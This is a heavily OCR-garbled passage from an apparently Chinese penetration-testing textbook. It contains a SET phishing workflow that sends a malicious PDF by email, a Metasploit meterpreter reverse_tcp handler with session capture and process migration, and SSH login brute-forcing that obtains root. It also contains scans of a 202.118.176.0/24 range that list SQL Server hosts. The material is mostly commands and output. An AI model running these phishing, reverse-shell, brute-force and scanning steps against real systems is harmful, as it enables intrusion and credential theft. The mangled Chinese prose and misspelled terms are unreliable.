[* ] ALl paylcads get sant to the sro/program Junk/sre/program Jurk/tanplate jodf divectory
[ ] As an added bonus, use the file- format creator in SET to create your attadment.

Right now the attactment will be imported with filename of 'tamplate.whatever'
Do you want to rename the file?
example Enter the new filename: moo.pdf

1. Kegp the filename, I don't care.
2. Renare the file, I want to ke cool.
ATUEFEA 2 La . 2EXeE L 443 i H R — DWW e B, 488, v H 5 ] DA
Ao #fr8%E . I HAE H 5% sre/program_junk/sre/program_junk/ A4z il 1 M if; 2 far SCF
template. pdf. BB B 44 19 BE 002 K J5 808 B0y 28 ey 19 SCAF 44 18 20 1k B b 5
By KB 44 LR B Bl H 1Y .
(6) Jr DATEIX B e #8001 2.,
set:phishing> 2
TP 7R AT T i A B O AR SO 28 R e AR IR A AE N SCFE ) .
IEatWERIOR Y TR (I
set :phishing>New filename: your wanted.pdf

(7) % Ener 8 )5 {8 8 2 1 BGE SCH 19 24 K
DCE AH Y SCF 24 F

[* ] Filename changed, moving on...
Social Engineer Toolkit Mass E-Mailer

There are two gotions on the mass e-mailer, the first would

ke to send an email to one individual person. The second gotion
will allow you to import a list and send it to as many pecple as
you want within that 1ist.
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What do you want to do:

1. E-Mail Attack Single Frail Address
2. E-Mail Aftack Mass Mailer

99. Return to main memnl.

(8) Wk SCIF & 5 AR Rl LA R A Y SO N 2
@ Fag AN A 5 7R B9 SCIF AL

root@bt:~ # ad /pentest/exploits/set/src/program junk/
@ i 1s a2 A/ X BT

root@bt: /pentest/exploits/set/src/program Junkd 1s - 1
VB e AR R By SCF I T

total 100

- rw—r—--1r—-- 1 root root 48 2016- 06— 01 21:23 payload.cptions
—rw—r-—1r- -1 root roct 46867 2016- 06— 01 21:23 tamplate.pdf
—Yw— r-—r— -1 root root 46867 2016- 06— 01 23:01 your wanted.pdf

© f#E ] xpdf fiy A& A A A Bk ST N %
root@bt: /pentest/exploits/set/src/program Junkd xodf your wanted.pdf

Wi AN ENKE 13, 2.1 fras .

Hel |l o Worl d!

B 1321 WEHEXHFHARE

@ FILAFA WSO N 2l T 5, JHARTT I SO Ja al BE 2 RO 8 15 350 S5 P PR 25 1 a7
b 5 AT SCAF o 1 A 2R SO 3T I B B [8] 4 42 2 W) o 0y i O, R e s 130 ] PDF 2 48
fox R SCPF N 2 EAT 5258 Rt (A5 B0l H bR A AR R0 % A 58] 332 1 SO » i A o2 5 3t 5 1]
[TEAURLE v & S
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(9) P13 7)) 20 s v, 4k 22 4 R AT, H A 1, 3% P8 E-Mail Attack Single Email
Address #EI, R} B FH X — > ME 46 Hb ik 32 17 WE 1R X

set:phishing> 1

WOE e e R AR S B AR .

Do you want to use a predefined tamplate or craft
a one timre amil tamplate.

1. Pre- Defined Tanplate
2. One— Time Use Eail Tarplate

(10) T i B | B i PF NS 1T — B F RS AR IR 2,4 58 N A
HirHuht<%E . T .5 A 2,78 One-Time Use Email Template P, B B b 45 H — > 8r 1Y
7 AR AR

set :phishing> 2
B ARSHEE N EINT

set :phishing> Subject of the amil: new file
set :phishing> Send the message as himl or plain? 'h' or "p' [P]: p

set :phishing> Enter the kody of the message, hit return for a new line. Control+ c when finished:
Next lire of the body: Hi Zhang san

Next lire of the body: Do you want a new life?

Next 1line of the body: Welcare to join us

Next line of the body: Best wishes!

Next line of the body: Wang giang

Next line of the body: "Cset:phishing> Send amail to: *x**x%*x@163.can
HA P m N E N I ARNE . VIR 5E A G a9 2R ML PR 25 AR RN %
TERR A SEMR N R Z G Fi Corl+C PREERER . A B AW R4k . 25 5 1% Enter #,
ik P e R A R 55 4

P FE MR AF AR 55w 5 240 F

1. Use a grail Eccomnt for your amail attack.

2. Use your own Server or cpen relay

(11) PEPE“2. Use your own server or open relay” vE30 . {fi FH—4~ A & 19 WE 4 AR 55 #5 5%
F TP AR BRAR 45 45 . B AU AR A &

set :phishing> 2

T A5 e iR 71 Al 55 4 BC B 45 R 40 R

set :phishing> Fran address (ex: moo@exanple.aam) @ ¥ %% % %% *x% %% @qg.can
o 27 e



set :phishing> Usemame for cgpen- relay [blank] : name

Password for gpen— relay [blank] : ®%%%%

set :phishing> QMIP amail server address (ex. amp.youramallserveryoudin.can) : mail.gg.com
set :phishing> Port murber for the SMIP server [25]:

set :phishing> Flag this message/s as high priority? [yes|no]: yes
[* ] SET has finished delivering the amils

set:phishing> Set up a listener [yes|nol: yves

[— ] %%

[* ] Processing src/program Junk/meta config for ERB directives.
(12) Y] B Bz I IS AR

resource (src/program junk/meta config)>use exploit/milti/handler
(13) B PAYLOAD %37, %% ¢ reverse_tep Fibh,
resource (src/program junk/meta config)> set PAYIORD windows/imeterpreter/reverse tap
AR IOR Y TR (I

PAYTOAD= > windows/eterpreter/reverse tcp

(14) ¥ LHOST 3. 38 N ASHL TP Hihk .

resource (src/program Junk/meta config)> set IHOST 10.10.10.128
AN IVR AT TR TN (I

THOST=>10.10.10.128

(15) &8 LPORT #EI0, 3% & 433 ¥ I,

resource (src/program Junk/meta config)> set TEORT 443
[EaWEN VR AT TR TN (I N

TRORT= > 443

(16) &8 ENCODING 5, 1% & shikata_ga_nai.
resource (src/program Junk/meta config)> set ENCODING shikata ga nai
A WENIVR Y TR (N

FNCODING= > shikata ga nal

(17) ¥ ExitOnSession B3l , %4 false, BIA F 3R .
rescurce (src/program junk/teta config)> set ExitOnSession false
WEEZRT

ExitOnSessiore > false

(18) " i 5 o] PA{d H exploit ag & #1700 1 -
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resource (src/program Junk/meta config)>exploit -
WHES R HHREEEELRWT

[* ] Exploit nmnning as background jadb.
msf exploit (handler)>
[ * ] Started reverse handler cn 10.10.10.128:433

[* ] Starting the paylcoad handler ...

ZF I, Bl PDF SCHFE & b E HRA 223X 2 H br BEAE A B 2 76 55 157 H bn R A A Y
PDF U g RS = AN ST

X7 T PDF SCAF 9 Ik, X0ty P 1 i 0 2 W 3 01 3% 1) Meterpreter £ 4l 2514 , 4l
IV

[* ] Sending stage (100215 bytes) to 10.10.10.140
[% ] Meterpreter session 1 gpened (10.10.10.128:433->10.10.10.140:1063) at 2016- 06— 02 08:00:15- 0400

(19) T Xy b ki A4~ ] pl 4 dl s i 47 28 B
(D msf exploit(handler) =>sessions
WHE G SEWSWEHTEENE R T

Id Type Information Connection

1 meterpreter x86/win32 DH- CAS8222B9Y589\ Adninistrator @DH- CAS8222B9589 10.10.10.128:433- > 10.10.10.140:1063
@ EFE ID O 1 04 il 2 1% g 11

msf exploit (handler)> sessicns —1 1

DBCE e 5 R 2 vl H AT S B RS BoR (R B A E

[* ] Starting interfationwith 1 ...

(20) A DL M. A 2 43t A Meterpreter, | [fij 1) Hf Meterpreter 2 i 3= #L 19 # 72
H 3.

neterpreter> ps

W A 1 Meterpreter $50i FALAY SRS R UNTT .

Process 1ist

PID Nare Arch Session  User Path

0 [Systam Process]

1036 svchost.exe x86 0 NT AUTHORITY\ SYSTEM C: \WINDOWS\ Systam3? svchost.exe



2980 AcroRd32.exe x86 0 DH- (AB322ABY589\ Administrator C:\Program Files\
Adobe\Reader 9.0\Reader\AcroRd3?.exe

320 explorer.exe x86 0 DH- CABB22ABY589\ Administrator C:\WINDOWS\
Explorer.EXE

(21) Al LIEF] PID & 2980 1 AcroRd32. exe #EFE A1 T g PID & 320 [ explorer. exe
PERE . BCE AT i a2 O B B fer 1 #2 3| explorer. exe #EFE |

meterpreter> migrate 320
D5 B Mk 3 ey i #8 3] explorer. exe HERE B8 U R PR

[* ] Migrating to 320..
[* ] Migrating cawpleted successfully.

] LIFE H . Meterpreter Xk 8 fif & 2 1 72 3| explorer. exe 2 T .
o PRF bS50 AT B Y 1R A R s AR AT .

o [ ARl B Y In] R L R i DR T
o ERWGRSRE .
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o 14 55 P 2% 55 H S

14.1 ¥ B ik 55 B

1R 22 W 28 ik 55 2 ha 1] 391 2 1) vy S ) 52 %) ) 4% b 19 45 g il o5 AT 4 . e e sg D aE &
B G INE A P B L . 0 T R 1 S . 0 T N AR N v O T as AT R 5 i AR B AT
B A BAZ 3 X — 1 B PR O IR 55 2 A

fE Metasploit 1Y) Scanner HiEhfE e G 1R 2 H FARSF H# A 5 0 T H x4 T B2l
W LU service_name |_version il service_name |_login fy 4% .

_service_name |_version AJ J T3k [ M2 AL & T B R0 R 55 19 L, IFF— 20 1 0 Ik 5%
RRAS . [ service_name | _login AJ Xf FF iz 55 #4712 R0 X 5 .

fiil an , http _version o] fi F A& 28 1) Web IR 5 %8, I8 E IR 55 %8 09 LA 5, http
login A] H T-X) 75 2 B AUk a9 HTTP ppast iz FH #5147 H 2300

f& Metasploit W I 3F Bt 5 1 A5 B 7 3% BE X Fpaw 24 ALye R 47 0 &, Bl T & 4
Microsoft SQIL. Server IR 55 1) mssql_ping B SE,

14.1.1 Telnet fR % 1

Telnet PpislJE TCP/IP PpisUE Y — b1 L J& Internet I8 F2 & 5 AR 55 1 bR v P i30Fl 32 32
T, B PR T AR E L SE R R EYL TAERRE J1 . A Ll & TR AL
EE Telnet B Jp, B &3R5 4v . w4 Al LLAE Telnet F2 7 v 4 A A 2 3% £E
2 S TEMR ST A% L isAT . R BRI 55 an A & b A —BE . 76 A Hi it 58 425 il il 55 4% .
B UH—A> Telnet Zi& , W2 A H 7 24 4 65 2R 5 Sk Ik 95 %%« Telnet 72 9 H (19 1 F 455
il Web Mz 55 %% 19 J7 1 .

t T Telnet Pris ¥ A X% i 10 Zs 9547 o, Ok ik Z2 109 4 B 03 465 408 o o %2 4211
SSH Whil A% & . (HiE . 1R 2 IH R W 28 35 25 A SCFF SSH P, i B8 2 O3 W A R E K
5 TH B B A IR E R G T LA 4% EAR Z2 28 #HIL L iig HH s 2 22 B KOs A5 SR A {8 ] Telnet
PR, — AR IS O AR & bt L A5 A T i R R S AL Telnet §pasl 1% A fE
PR 2 B R 1 P A HR ML AE I 45 v i A7 B — AR R B8 . B E A — MR A
— P RS A EVNS RS G T Telnet k5. BT — 20 HE 17 W 25 LR i 112 55 I 45
2

14.1.2 SSH IRE 1

SSH &2 Secure Shell 455 . IETF R 2% TAE /N4 (network working group) P il

€ s SSH O 2 57 76 N 2 AL S )2 25 Al B i & 4 Pl SSH 22 H AT Al 3 L & o im #2545 5%

2k A1 A N 2% il 55 $ 22 e P, AR SSH PRSCAT DL % kb B 1k e 42 8 2 B

)5 5t % M)/ . SSH iz #) 2 UNIX R4 F Y — D FE . o ok XGRGEE 37 82 31 H A 15 7F F
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5. SSH TEIEA A H BF ol 78 #b B 28 i il . SSH & Pl T2 M6, LRI A
UNIX *F & .84 HP-UX, Linux,AIX,Solaris.Digital UNIX,Irix % ,#f 11z 17 SSH.,

SSH /&8 UNIX R4 F i Wi FEE MRS . 5 Telnet AFYE. Bk T %20
(5 B 7=, WA 5 S SSH X IR % #s AT ie B8 7L IR 45 25 25 1 SSH %
P Y 1R [0 — A~ B Y Shell 42, Q028 B CH AR 1Y 22 42 18 9 e 5 Can PR o &7 308 ¢ 1y TP
ikt . B R BUR 55 4 095 5% 125 a] LU SSH & P i 5 5k ik 55 - AH 24 T 3545 17 AH b
G P A SR .

14.1.3 SSH O< &7

8 1 ) S0 Hp i Metasploit B ssh_version 8 H 47 35 21 B A5 I 25 38 [F Y 55 AY
SSH filk 55 1 EHL IR 4 4% T Kt 21 4di H] Metasploit H1 1Y ssh_login BLERX} SSH g 55 i#E 17
2 PR U

HAT O AW Z R T — DN P 2 A5, XA R EERREHR BIIR 2 . A
ot AR Z 0T, F Z0 E Windows fl Linux R4 F SCF g b5 19 X 1], A5 00 2 S 203k 1 4
L R

TE IR A ssh_login B G, B & B RHOSTS 2845 & 02k iy %t 4. 0] L &
—A~ 1P Hb hb 5 — Bz TP #f bt [W] # o] DU A# ] CIDR 7 19 H 4k X Bz, SR )5 ff
USERNAME Z %48 & — 1M P 2 (& i ] USER_FILE 2848 &€ — M & 24N 4
) SCA SO B P 44 0 —47) . IRl PASSWORD #5 7€ — > 7€ 1 H 2 F 47 5 (B0
ffi ] PASS_FILE 2848 € — M & 240 0205 130 fF A4 14 —47) . e nl LUd ]
USERPASS_FILE 4§ & — 1~ 7 44 1 10 2 Y B X SCF H P 24 Fi 2 22 18] 28 4 B T 4
MHPZMMEO4 5 —17), BAEMN T, ssh_login Bt 222823 04 VL 5 H P 24 A (A
1) 55 112 478 s i3k

14.1.4 HIEERSES

1. Microsoft SQL Server £ 1F E

SQL Server 2 — 1P R ABIEEE M RS, F P 2 H Microsoft, Sybase 1 Ashton-
Tate 3 K w| LW & A0, T 1988 A4EH 15—~ OS/2 A . 7 Windows NT #E i} J5 .
Microsoft /2 f] 5 Sybase 2y 6] 76 SQL Server [ % & 4318 % 58 , Microsoft A @)+ SQL
Server # 3] Windows NT #& % I, L T H &Z#E) SQL Server ) Windows NT R4,
Sybase 7> w] M4 F F SQL Server 7 UNIX $:4E 245 190 H .

SQL Server J& ¢ 5 BRI 5 B A g0 BAA AT 5 8 L n] A 4 1 4 55 A O BCP 4R
J& 1 55 D0 A0, v M iz 17 Microsoft Windows 98 9 Jl& | B i 5 #L 3] iz 47 Microsoft
Windows 2012 [ K 2 4k B 8% 19 IRk 55 4 55 Z Fp - S i .

Microsoft SQL Server J&— >4 [ 09848 57 &« 8 T4 iy g ol & gg (BD T H 4 4t
T AR i B E . Microsoft SQL Server Bl 14 5| %y 3¢ 2 B RCIE F1 45 44 1k &l 44 41t
T A SE A6 DI RE L A P AT DL 2 AN A B Tl 55 10 2 A& RN v VR RE Y B s
FET .

25T X 2485 00 2 1) P 285 I 55 v 11 i T ) A 2 1) B K X, Mlicrosoft SQLL Server ) 1433
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v 1 BP A Hidpr— A~ n] DL fdi ] Metasploit B mssql_ping By 3% 2% Y Microsoft SQL
Server,

2. Oracle ¥3E =

Oracle 2045 % 5 4t 72 35 [ Oracle(H 8 30) 23\l $2 446 39 DL o A L8 15 4% 0 1) — 21 3K
redh . 2 B AT S AT & /AR 55 2% (Client/Server) 8% B/S 1K R 25 %) 1) B g PEZ — . 14
un, SilverStream 2 F& T 204 & ) — Fh A [E]F . Oracle 204 2 & H it 5 B AE H &N
A T ARG A N — 1Tl B ER G BB A SR8 MO E N —1
KABAEE B2 — D& X RN s VN o An 208088 &, & L3 T o An XA 3889 )
HE. HE WA HR, RZ A —MAL R E 27 2] Oracle F1HH {8 fig 78 H A 2SR @Y 1+ F Pl L
i HE .

A S ] tnslsnr_version FEH, £ 8 % 2 rb s H B9 Oracle W Wr i iR 55 .

14,2 PG 55 3140 5k ik % 4

s % oA

Metasploit T.H.,1 &,
PC.,1 &.

RIS
A48 2 AL A Y N 28 I 55 .

5o B

— 8B %% T Metasploit BYiHHE L.

Pl AR

(1) Telnet iz 55 #H KF0H,

(2) SSH 55 MR

(3) s A AT

1. Telnet_version &R

(1) il 1T use iy 2 FH telnet_version fEHL
msf> tse axi liary/scanner/telnet /telnet. version

(2) # it show A2 A FH A B 19 15 B e It
msf auxiliary (telnet version)> show cptions

i it show a4 & B BB E R IT4NF .

Module gptions (auxiliary/scanner/telnet/telnet version):
e 280



Name Current Setting Required Description

PASSWCRD no The password for the specified usermane
RHOSTS Ves Tre target address range or CIIR identifier
RECRT 23 Ves The target port

THREADS 1 Ves The mumcer of concurrent threads
TIMECUT 30 Ves Timecut for the Telnet probe

USERNAME, no The usemanme to authenticate as

Hirr,Name 267R 75 22102 B 1Y 28 T00 19 45 FK s Current 378 1% 28 T H Fif BRI\ 19 1% & {H ; Setting
T e AT T ICE s Required 7R IZBE I & B 20 5 yes e o0 #4171 B 1 no W
e ] DL B A 0] PAASHEFT 9% B s Description 78 Y2 X S£ W AY /- 44 .
AR ) T2 RHOSTS., B H b Ho b Ju [Fl 2% CIDR AR R AF . o 5k & 224 4 10 3t
1| N
(3) i H] set g2 & Hbr k7o [ .

msf auxiliary(telnet version)> set rhosts 10.10.10.0/24
WE G WRunE .

rhosts=>10.10.10.0/24

(1) R set g2 i B A LN A & .

msf auxiliary(telnet version)> set threads 100
WEE AW

threads=> 100

(5) M run iy AR AT I

msf auxiliary(telnet version)> nn

DCE L B A 5 R

[#* ] Scanned 064 of 256 hosts
[#* ] Scanned 075 of 256 hosts
[* ] Scamned 105 of 256 hosts
[* ] Scanned 106 of 256 hosts
[* ] Scanned 157 of 256 hosts
[* ] Scamned 164 of 256 hosts
[* ] Scamned 195 of 256 hosts
[* ] Scanned 206 of 256 hosts
[*% ] 10.10.10.254:23 TEINET Uountu 8.04\ x0ametasploitable login:
[* ] Scanned 252 of 256 hosts (098% camplete)

[* ] Scanned 256 of 256 hosts (100% camplete)

[* ] Axiliary module execution completed

A LUE H L TP sdik Oy 10, 10. 10, 254 CH O 5 & /9 M 45) 19 F AL CEI R 5 AR 55 4% ) IF 80 1
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Telnet IR 55 .18 5551 M 9 iR 55 TEHR Ubuntu 8. 04\ xOametasploitable login. o] DL — A% 1A
X 5 FHLEAE RS RAS - Ubuntu 8. 04, 1l FHL 44 & metasploitable,

2. SSH_version &1k

(1) 5 use A2 fdi ] ssh_version B,

msf> use awxiliary/scanner/ssh/ssh version

(2) 183 show iy & A A A B 1Y 137 ¥ 22 70
BAELGARU T

Module gptions (auxiliary/scanner/ssh/ssh version) :

Name Current Setting Required Description

RHOSTS Ves Tre target address range or CIIR identifier
RECRT 22 Ves The target port

THREADS 1 Ves The mumcer of concurrent threads
TIMECUT 30 Ves Timeout for the SSH prdbe

5 telnet_version BL A [A] . ssh_version $9 45 B (1% 14 108 0 9, £ 5 Name, Current,
Setting . Required #fl Description 5 87y . & XWAHF . XHEWB AT ZHE T,
(3) i [ set Ay A1 B H brHb bk 75 [

msf auxiliary(ssh version)> set rhosts 10.10.10.0/24
(4) fEH set iy 21 B A LN A & .
msf auxiliary(ssh version)> set threads 100

(5) i run iy K AT 3

msf auxiliary(ssh version)>nn

R B 0 R RS R0

[* ] Scanned 051 of 256 hosts (0195 camplete)

[* ] Scanned 073 of 256 hosts (028% camplete)

[* ] Scanned 104 of 256 hosts (040% canmplete)

[* ] 10.10.10.129:22, SSH server version: SSH-2.0- QpenSSH 5.3pl Deblan- 3ubuntud
[* ] Scanned 110 of 256 hosts (042% camplete)

[* ] Scanned 140 of 256 hosts (054% canplete)

[* ] Scanned 155 of 256 hosts (060% camplete)

[* ] 10.10.10.254:22, SSH server version: SSH-2.0-QpenSSH 4.7pl Deboian- Subuntul
[#* ] Scanned 196 of 256 hosts (07635 carplete
[* ] Scanned 205 of 256 hosts (080% camplete
[* ] Scanned 242 of 256 hosts (094% camplete
[* ] Scanned 256 of 256 hosts (100% camplete
[* ] Axiliary module execution completed

n] LIAE H ] Metasploit H 119 ssh_version % By A5 B, n] DLAE B Hb 7 35 B 1 ) 2% 3 [l
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AL T E i SSH IR 4519 =ML, 43 51 42 10. 10. 10. 129 (™ %6 AR 55 #8) F11 10. 10. 10. 254
(MRS 4% . I H B~ T SSH RS X BAEKRA S, A 17X LEE 8 . 50 0] DL o A i)
557 A5 B A D IR AS 5 1) — Se AR 5 B s E B . v 2Z 5t — A EAE R AL T al gE .

3. SSH_login &R
(1) 3T use g2l A ssh_login fEt

msf> use auxiliary/scanner/ssh/ssh login

(2) 3L show fip & A FH A B 1) 15 B e 0 .
msf auxiliary (ssh login)> show gptions
BHEGARWT

Module ogptions (awdliary/scanner/ssh/ssh login):

BLANK PASSWORDS true no
BRUTEFCRCE  SPEFD 5 yes
PASSWCRD no
FASS FIIE no
RHOSTS Ves
RECRT 22 Ves
STOP QN SUCCESS false Ves
THREADS 1 Ves
USERNAME no
USEREASS FITE no
USER AS PASS true no
USER FIIE no
VERBOSE true Ves

Try blank passwords for all users
How fast to bnateforce, fram 0 to 5
A specific password to athenticate
with

File antaining passwords, ae per
lire

The target address range or CIIR
1dentifier

The target port

Stap guessing when a credential
works for a host

The niner of conarrent threads

A specific usemare to
authenticate as
separated by space, ane alr per lire
Try the usarmare as the password for
all users

File antaining usamares, ae per
lire

Thether to print cuput for all
attants

5 A AR b s ssh_login AL H 2| (i B 2 TR 2, T m #1719 4 44 -
BLANK_PASSWORDS. B} 725 [ %% 15 . B i 9 2] 39 25 55 20N 8 X 23 1 & ok 17 56k .
BRUTEFORCE_SPEED. BJI 5 J7 B i (0 56 55 . ) O 3| 5 A %

PASSWORD, Bl o & 2% 1 0% i 4 0 %6 05, B SR AN J& a0 19 {H & B A3 R AT 2% ) 1t it

A 2 A B BRAE B0 UE 5€ 25 WA e A 1k 1 DR X A LS e I Y
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PASS_FILE, B ¥ £ 2% J1 w5 i 6 B i %5 05 SC 4, PASSWORD J& 45 € %65, 1

PASS_FILE N2k 2 % 5~ B 8 — 4~ SO B, JF BT R RETCE. — 1~ i

STOP_ON_SUCCESS, Bpan & 45 3 F HLAE 78 TAE /918 B W5 1k a5 % 1, — g ik

A false 1Y,

USERNAME. [i] PASSWORD —&f . 88K B3R AN & 201, {5 2 78 52 B i FH A & 75 248

USERPASS_FILE, i [fl b 776% 7 % 52 AT 1 44 19 11 4 5 130 1
42 FE IO 19 — 1~ 56 B o il T — A 25 6 B O

BEAT AL — 4 H

USER_AS_PASS. ¥ it HHH P AR e i s dh A7 fs I o X 76 S8 b (i AR A . A

N2 W AT B 4 TR 5 19 4 D0 X ORI A

USER_FILE. EpfEf i B H P 24 09 SCF . R — 1N P 4
VERBOSE. Bl &G 7% 1 &y B A m9 22305 O, 2R 5 B 1

A8 1A Jr 0 B o 4 o B A I s A U R DL E I 2 T AR 2 3K i B AR YIS
DLHEATBCE . L 25— ) LAY 1)1

BIE RS 4SS . % B 10. 10, 10. 254,
(3) i [ set fiy 214 B H br b bk 75 [ .

msf awdliary(ssh login)> set rhosts 10.10.10.254

(4) i i set A2 1% B 2% username [11H .
fEX A 22 P24 N root B . R IEACAS 0 F .

msf awaliary(ssh login)> set usemame root

(5) fHi ] set fr > B E S pass_file ffH.
W54 B h words. (xt {95 B S BUCZE T S8 L P AR A T

msf awaliary(ssh login)> set pass file /root/Desktop/words. =t
(6) fEH] set g2 i B A LA A& .
msf awaliary(ssh login)> set threads 100

(7) i ] run a2 R PATH ¥ .
msf awaliary(ssh login)> rn

AR WoR T

[* ] 10.10.10.254:22 SSH — Starting bruteforce

[* ] 10.10.10.254:22 SSH — [01/17] - Trying: usermare: 'root' with password: ''

[- 1 10.10.10.254:22 SSH - [01/17] — Failed: 'root':"'

[* 1 10.10.10.254:22 SSH — [02/17] - Trying: usemare: 'root' with password: 'root'
[- 1 10.10.10.254:22 SSH - [02/17] — Failed: "root':'root'

[* ] 10.10.10.254:22 SSH — [03/17] - Trying: usermare: 'root' with password: 'mejordom’

[- 1 10.10.10.254:22 SSH - [03/17] — Failed: 'root':'majordam’

[* ] 10.10.10.254:22 SSH - [04/17] - Trying: usermare: 'root' with password: 'malacolm’
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[-] 10.10.10.254:22 SSH - [04/17] — Failed: "root':'malcolm’

[*% ] 10.10.10.254:22 SSH - [05/17] - Trying: usermare: 'root' with password: 'mercaret!

[-] 10.10.10.254:22 SSH - [05/17] - Failed: "root': 'margaret!

[% ] 10.10.10.254:22 SH - [06/17] — Trying: usermame: 'root' with password: 'merilyn’

[ ] 10.10.10.254:22 SSH — [06/17] — Failed: 'root':'marilyn’

[* ] 10.10.10.254:22 SSH — [07/17] - Trying: usermare: 'root! with password: 'mariposa’

[ ] 10.10.10.254:22 SSH — [07/17] — Failed: 'root':'mariposa’

[* ] 10.10.10.254:22 S5 — [08/17] — Trying: usarmame: "root' with password: 'merlboro!

[—] 10.10.10.254:22 SSH — [08/17] — Failed: "root': 'marlboro!

[* ] 10.10.10.254:22 S5 - [09/17] — Trying: usarmare: "root' with password: 'mershal'’

[- 1 10.10.10.254:22 SSH - [09/17] — Failed: 'moot':'marshal’

[* ] 10.10.10.254:22 S - [10/17] — Trying: usermare: 'root! with password: 'maryjane’

[-] 10.10.10.2%4:22 S - [10/17] — Failed: "root':'maryjare’

[* ] 10.10.10.254:22 SH - [11/17] — Trying: usermare: 'root! with password: 'masters'

[ ] 10.10.10.254:22 SSH - [11/17] — Failed: 'moot':'masters'

[* ] 10.10.10.254:22 S5 - [12/17] — Trying: usermare: "root' with password: 'matthew’

[ ] 10.10.10.254:22 SSH - [12/17] — Failed: 'root': 'matthes

[* ] 10.10.10.254:22 SSH - [13/17] — Trying: usermare: 'root' with password: 'maurice’

[ 1 10.10.10.254:22 SSH — [13/17] — Failed: "root': 'maurice’

[* ] 10.10.10.254:22 S5 — [14/17] — Trying: usamame: "root' with password: 'meveric’

[- ] 10.10.10.254:22 SSH - [14/17] - Failed: 'noot':'maveric’

[* ] 10.10.10.254:22 S5H — [15/17] — Trying: usamare: "root' with password: 'meverick!

[ ] 10.10.10.254:22 SH — [15/17] — Failed: 'moot': 'meverick!

[* ] 10.10.10.254:22 S5 - [16/17] — Trying: usarmare: "root' with password: "domnty’

[* ] Command shell session 2 gpened (10.10.10.130:50199 - > 10.10.10.254:22) at 2016- 05— 03 03:32:43 - 0400
[+ 1 10.10.10.254:22 SSH - [16/17] — Success: "root':'uountu' "uid= 0 (root) gicE 0(root) groups= 0 (roct) Limix
metasploitable 2.6.24- 16— server # 1 SVP Thu Apr 10 13:58:00 UTC 2008 1686 GNU/Limix '
[* ] Scamned 1 of 1 hosts (100% camplete)

[* ] Axaliary module execution aonmpleted

Al LLVE AR5 16 IRE20T ATt 1 H dnalh il SSH R 55 1Y K5 Fl1 % f , username
root with password: ‘ubuntu., H ANEA&EH VERBOSE W1E . Fr DL ER A8 & 1 2238
T OLHEAT 1 5 it

4, mssql_ping &R

(1) 1T use 12> H mssql_ping b,

ms> use auxiliary/scanner/mssgl/mssal ping

(2) J#id show iy 4 £ & BLER (19 BB L1

msf awdliary mssgl ping)> show options

BEEGRWT .

Module gptions (auxiliary/scanner/mssgl/mssgl ping) :

Name Current Setting Required Description
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THREALS
USERNAME,
USE. WINDOWS AUTHENT

5 AS 6] 1Y 2 . 7F mssql_ping B 2] T USERNAME % B 5, iX H. 52 5 Microsoft
SQL. Server ZIERMER) — PN EOIN I B A L. FHIIK LIRS 450 EF e, BN R 4 sa 1§
ZaEMu P, BHik. X B USERNAME 3% & 101 09 2RA % B 2 sa. £ X Bl A HESHTT

BT

no The password for the specified

USeImanre
Ves The target address rance or CITR
1dentifier
1 Ves The nuber of conanrrent threads
sa no The usermare to authenticate as
false Ves Use windows authentification

(recuires DOMAIN gption set)

(3) {8 H] set A2 & H A bk 0 [

msf alxiliarymssql ping)> set RHOSTS 202.118.176.0/24
(4) ] set a2 BB I R A2 IV A .
msf auxiliarymssql ping)> set THREADS 50

(5) i run fip 2 K PHAT 4

msf awd liary (mssql ping)> nn

BCE A AR G SR

[* ] Scanned 050 of 256 hosts (019% carplete)
[# ] SOL Server information for 202.118.176.67:

[+] Serverilame = HEIJ- MMUEAGEG2YW

[+ ] InstancelName = MSSOLSERVER

[+] IsClustered =MNo

[+] Version =10.0.4000.0

+]1 top =1433

+] mp =\ \HEU- MVUEAGEIG2YW\ pipe\ sql\ query

[* ] Scanned 058 of 256 hosts (022% carmplete)
[* ] Scanned 091 of 256 hosts (035% carplete)
[* ] SQL Server information for 202.118.176.104:

[+] Serverilame = (3C- SF4FEF3BOEBG

[+ ] Instancelame = MSSOLSERVER

[+] IsClustered =No

[+] Version =8.00.194

[+]1 top =1433

+1 =\\G- 8F4FEF3BOEB6\pipe\ sql\query
[* ] SQL Server information for 202.118.176.108:

[+ ] Serveriame = WIN- UBDUCHOGD /T

[+ ] Instancelame = HRBERS
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[+ ] IsClustered =No

[+] Version =10.50.1600.1

[% ] SQL Server informmation for 202.118.176.124:
[+] Serverare =\WMI127

[+ ] InstancelName = M=SOLSERVER

[* ] SQL Server information for 202.118.176.121:
[+] Serverame = ZICHA

[+] Instancelame = MSSQLSERVER

[+1 top = 49538

[% ] SQL Server information for 202.118.176.118:
[+ ] ServeriName = To— TEETEICHKIYT

[+ ] Instancelame = MSSOLSERVER

[+] IsClustered =No

[+] Version =8.00.194

[+] IsClustered =No

[+] IsClustered =No

[+]1 top =1433

+]1 mp =\ \T5- T8STEICHKTOT\ pipe\ sql\query
[+] Version =8.00.194

+] top =1433

+]1 1o =\\WIL27\pipe\sgl\query
[+] Version =8.00.194

+] Tt =1433

+] mp =\\ZICHA\ pipe\ sgl\query

[* ] Scanned 141 of 256 hosts (055% camplete)
[* ] SOL Server Information for 202.118.176.141:

[+ ] ServeriName = HRBEUSZC- GROSZH

[+ ] InstancelName = M=SOLSERVER

[+ ] IsClustered =No

[+] Version =8.00.1%4

[+] Tt =1433

+] mp =\ \HRBEUSZC~ GKOS2H\ pipe\ \ sgl \query

[* ] Scanned 142 of 256 hosts (055% camplete)
[* ] Scanned 178 of 256 hosts (0695 camplete)
[#* ] Scanned 184 of 256 hosts (071% camplete)
[* ] Scanned 232 of 256 hosts (0905 canplete)
[* ] Scanned 241 of 256 hosts (094% canplete)
[* ] Scanned 256 of 256 hosts (1005 camplete)
[* ] Axdliary module execution completed

AR R 0] LU AR Y 2020 118, 176. 0 B 2% 30 [l N - mssql _ping #5248 2 3]
202, 118, 176. 67,202, 118, 176. 104,202, 118. 176, 108,202, 118. 176. 124,202, 118. 176.
121,202, 118. 176, 118 #1 202. 118. 176. 141 H: 7 &b sk &S5 19 IR 55 & % H Microsoft SQL.
Server Ik 55 #5. 3 H 4 9 % H T HR 55 #% 25 #% ServerName, 5 fr 44 FE InstanceName ( B[}
Microsoft SQL. Server ik % #%) . =& N EREIR 55 7% [sClustered , i A~ 5 Version UL & TCP
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i H 5 tep SR B
5. Tnslsnr_version &R
(1) i /] use iy 2> A tnslsnr_version & Et .

msf> use auxiliary/scanner/oracle/tnslsnr version
(2) 813 show iy 4 £ 7 H BR (19 3¢ B e 1T
msf auxiliary (tnslsnr version)> show gptions

AR LR

Module gptions (auxiliary/scanner/oracle/tnslsnr version) :

